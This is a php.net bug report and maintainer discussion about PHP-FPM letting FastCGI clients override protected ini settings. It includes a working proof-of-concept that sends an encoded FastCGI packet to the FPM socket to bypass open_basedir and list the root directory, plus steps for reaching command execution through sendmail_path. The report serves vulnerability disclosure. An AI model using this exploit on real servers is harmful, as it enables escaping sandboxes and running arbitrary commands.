php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Request #77190 PHP_VALUE can be changed by PHP-FPM environment variables without checking
Submitted: 2018-11-23 09:49 UTC Modified: 2021-12-04 18:25 UTC
From: ricterzheng at gmail dot com Assigned: bukka (profile)
Status: Assigned Package: FPM related
PHP Version: 7.0Git-2018-11-23 (snap) OS: Linux
Private report: No CVE-ID: None
View Developer Edit
Welcome! If you don't have a Git account, you can't do anything here.
If you reported this bug, you can edit this bug over here.
(description)
Block user comment
Status: Assign to:
Package:
Bug Type:
Summary:
From: ricterzheng at gmail dot com
New email:
PHP Version: OS:

 

 [2018-11-23 09:49 UTC] ricterzheng at gmail dot com
Description:
------------
---
From manual page: https://php.net/function.stream-socket-client
---
PHP-FPM can set a value named PHP_ADMIN_VALUE from the data packet (including TCP port / Unix sock), so we can send a packet to fpm listening address (including TCP port / Unix sock path) and set PHP_ADMIN_VALUE to `open_basedir = /` to bypass open_basedir.

Test script:
---------------
<?php
// create a php file at /var/www/html/index.php
// save this file as /var/www/html/aaa.php
// tested on 7.0.30-0ubuntu0.16.04.1
// listening on a TCP port are also affected

echo "open_basedir: " . ini_get("open_basedir");
$sock = stream_socket_client('unix:///run/php/php7.0-fpm.sock', $errno, $errstr);
fwrite($sock, base64_decode("AQGL2wAIAAAAAQAAAAAAAAEEi9sB7QAADgJDT05URU5UX0xFTkdUSDMwDBBDT05URU5UX1RZUEVhcHBsaWNhdGlvbi90ZXh0CwRSRU1PVEVfUE9SVDk5ODULCVNFUlZFUl9OQU1FbG9jYWxob3N0EQtHQVRFV0FZX0lOVEVSRkFDRUZhc3RDR0kvMS4wDw5TRVJWRVJfU09GVFdBUkVwaHAvZmNnaWNsaWVudAsJUkVNT1RFX0FERFIxMjcuMC4wLjEPF1NDUklQVF9GSUxFTkFNRS92YXIvd3d3L2h0bWwvaW5kZXgucGhwCxdTQ1JJUFRfTkFNRS92YXIvd3d3L2h0bWwvaW5kZXgucGhwCR9QSFBfVkFMVUVhdXRvX3ByZXBlbmRfZmlsZSA9IHBocDovL2lucHV0DgRSRVFVRVNUX01FVEhPRFBPU1QLAlNFUlZFUl9QT1JUODAPCFNFUlZFUl9QUk9UT0NPTEhUVFAvMS4xDABRVUVSWV9TVFJJTkcPKFBIUF9BRE1JTl9WQUxVRWFsbG93X3VybF9pbmNsdWRlID0gT24KIG9wZW5fYmFzZWRpciA9IC8NAURPQ1VNRU5UX1JPT1QvCwlTRVJWRVJfQUREUjEyNy4wLjAuMQsXUkVRVUVTVF9VUkkvdmFyL3d3dy9odG1sL2luZGV4LnBocAEEi9sAAAAAAQWL2wAeAAA8P3BocCBwcmludF9yKHNjYW5kaXIoIi8iKSk7Pz4BBYvbAAAAAA=="));
echo fread($sock, 4096);

Expected result:
----------------
open_basedir: /var/www/html:/tmp

Actual result:
--------------
open_basedir: /var/www/html:/tmp���Content-type: text/html; charset=UTF-8

Array
(
    [0] => .
    [1] => ..
    [2] => bin
    [3] => boot
    [4] => data
    [5] => dev
    [6] => etc
    [7] => home
    [8] => initrd.img
    [9] => lib
    [10] => lib64
    [11] => lost+found
    [12] => media
    [13] => mnt
    [14] => opt
    [15] => proc
    [16] => root
    [17] => run
    [18] => sbin
    [19] => snap
    [20] => srv
    [21] => sys
    [22] => tmp
    [23] => usr
    [24] => var
    [25] => vmlinuz
    [26] => www
)
��l,i

Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2018-11-23 17:06 UTC] ricterzheng at gmail dot com
I found two new bugs lead command execution flaw.
While using PHP-FPM, an attacker can fully bypass these security measures (open_basedir / execute commands).

1. stream_socket_client is not restricted by open_basedir
2. sendmail_path is marked as PHP_INI_SYSTEM but still can be modify by PHP_VALUE

An attacker can:
1. Send data to PHP-FPM daemon and set PHP_VALUE sendmail_path = /tmp/test
2. Create /tmp/test(base script, ELF) and chmod it to 777
3. Call mail() function, and PHP will invoke /tmp/test
4. Execute any command finally
 [2018-11-24 14:16 UTC] ricterzheng at gmail dot com
A PoC: https://drive.google.com/file/d/1tcvV97abYcOaIgB_ZqVjQ46kmw2Yf9sL/view?usp=sharing
 [2018-11-24 19:52 UTC] stas@php.net
Not sure why we allow setting SYSTEM values via socket, this probably shouldn't happen.
 [2018-11-25 05:52 UTC] ricterzheng at gmail dot com
According my further test, PHP_VALUE / PHP_ADMIN_VALUE can overwrite all the php.ini configuration settings including `php.ini only` settings.
 [2018-11-25 15:47 UTC] ricterzheng at gmail dot com
https://github.com/php/php-src/blob/1ad08256f349fa513157437abc4feb245cce03fc/sapi/fpm/fpm/fpm_php.c#L116
Function `fpm_php_apply_defines` checks PHP configuration settings mode.

https://github.com/php/php-src/blob/1ad08256f349fa513157437abc4feb245cce03fc/sapi/fpm/fpm/fpm_php.c#L80
Function `fpm_php_apply_defines_ex` doesn't.

While parsing FastCGI requests, PHP-FPM will invoke `fpm_php_apply_defines_ex`.
That's all.
 [2018-12-05 01:49 UTC] ricterzheng at gmail dot com
-Package: *General Issues +Package: FPM related
 [2018-12-05 01:49 UTC] ricterzheng at gmail dot com
change package to fpm related
 [2018-12-05 10:50 UTC] cmb@php.net
-Assigned To: +Assigned To: bukka
 [2018-12-05 10:50 UTC] cmb@php.net
Jakub, could you please have a look at this?
 [2018-12-15 15:59 UTC] ricterzheng at gmail dot com
-Summary: PHP open_basedir Bypass Via PHP-FPM +Summary: PHP_VALUE can be changed by PHP-FPM environment variables without checking
 [2018-12-15 15:59 UTC] ricterzheng at gmail dot com
This bug can overwrite php configuration settings even they are marked as PHP_INI_SYSTEM / PHP_INI_PERDIR or php.ini only. It will lead php security measures bypass or other security problems.
 [2019-01-22 02:01 UTC] ricterzheng at gmail dot com
Will this issue be fixed?
 [2019-01-25 17:05 UTC] bukka@php.net
Well I think that this is definitely on purpose. Basically the difference between php_value and php_admin_value is that the admin one allows setting PHP_INI_SYSTEM and changing that would break a lot of code so we can't do that I'm afraid.

Exposing of PHP_ADMIN_VALUE and PHP_VALUE is somehow unfortunate but it has been always there and we cannot change it without breaking a code. It's obviously on purpose too. I think we have to set a contract that one should never expose php-fpm publicly. It means it should always have a server in front of it (e.g. nginx or apache). To be honest I have never seen anyone exposing php-fpm and most installation will never do that so this is not actually a big issue. It would be definitely a bigger issue to break the existing servers.

I wouldn't be opposed to introduce a new option to ignore PHP_ADMIN_VALUE and PHP_VALUE that could potentially land in 7.3 as it's a feature. But I don't think there is anything we can do about this. It should be probably set to "Not a bug" though.
 [2019-01-25 17:41 UTC] ricterzheng at gmail dot com
Hi bukka, this issue will lead PHP security measures bypassed (e.g. open_basedir) in a restricted environment. The contract is one hacker gain a webshell and want to execute commands or read files but he was restricted by disable_functions and open_basedir. 
Cause of PHP-FPM will listening at a TCP port or a UNIX socket file, the hacker is certainly able to access via the webshell.
 [2019-01-25 18:46 UTC] bukka@php.net
I think you should read this as open_basedir is not really a security measure:
http://www.php.net/security-note.php

I don't think we consider any issues with that as a security issue as there are many ways to bypass it.
 [2020-07-14 12:44 UTC] cmb@php.net
-Operating System: Linux / Windows +Operating System: Linux
 [2020-07-14 12:44 UTC] cmb@php.net
Since this is a PHP-FPM issue, it does certainly not affect Windows.
 [2020-07-16 12:56 UTC] remi@php.net
Having FPM listening on a public address seems a configuration issue, with a lot of security-related issues.

The reason one by default, FPM only allow local client (network port) or restricted user list (NDS).

So I don't think this have to be managed as a security bug.
 [2021-07-12 16:08 UTC] cmb@php.net
-Type: Security +Type: Bug
 [2021-07-12 16:08 UTC] cmb@php.net
> I think you should read this as open_basedir is not really a
> security measure:

Right, see also <https://externals.io/message/105606>
and <https://externals.io/message/115406>.

> So I don't think this have to be managed as a security bug.

ACK.
 [2021-12-04 18:25 UTC] bukka@php.net
-Type: Bug +Type: Feature/Change Request
 [2021-12-04 18:25 UTC] bukka@php.net
This behaviour is on purpose and its mitigation (optional disabling) is treated as a feature.
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Thu Nov 21 11:01:29 2024 UTC